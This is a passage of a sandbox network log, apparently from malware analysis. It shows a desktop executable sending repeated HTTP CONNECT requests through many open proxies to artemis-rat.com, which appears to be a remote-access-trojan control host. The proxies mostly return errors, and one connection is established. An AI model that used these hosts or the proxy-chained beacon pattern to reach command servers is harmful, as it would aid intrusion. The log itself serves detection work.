Mar 11, 2024 03:30:40.115190029 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.5	50741	162.241.6.97	41274	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.771435022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.5	51773	162.214.197.102	42019	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.771532059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.295545101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.5	51638	41.111.243.18	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.771532059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.086280107 CET	495	IN	HTTP/1.1 502 Proxy Error Date: Mon, 11 Mar 2024 02:29:48 GMT Server: Apache Content-Length: 348 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 44 4e 53 20 6c 6f 6f 6b 75 70 20 66 61 69 6c 75 72 65 20 66 6f 72 3a 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>DNS lookup failure for: artemis-rat.com</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.5	51621	93.87.49.86	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.771687031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.498600960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.702049971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.811767101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.202137947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.5	51635	5.252.23.220	1081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.774720907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
579	192.168.2.5	51639	43.133.71.20	15673	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.969276905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.5	51624	146.190.85.79	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.969731092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.320557117 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/4.6 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3773 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 39 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2019 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.5	51681	158.255.215.50	9005	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.969873905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.284962893 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.5	51659	92.205.61.38	29249	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.969942093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.686068058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.702460051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.811677933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905174971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.014776945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.217616081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.5	51745	174.64.199.79	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.970110893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.5	51746	72.195.34.42	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.971405029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.5	51690	98.64.169.17	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.971910954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.828469992 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.5	51607	103.140.35.11	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.971932888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.5	50986	120.194.4.157	5443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.972543001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.930648088 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.5	51791	12.186.205.121	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.972645998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.5	51696	147.75.34.86	10000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.972742081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.278858900 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.5	51675	58.234.116.197	8197	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.972806931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.5	51651	31.43.158.108	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.973215103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.5	51713	221.153.92.39	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.973474979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.275407076 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.5	51726	163.172.153.194	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:39.973556042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.701689005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.811306953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.939429998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.202178955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
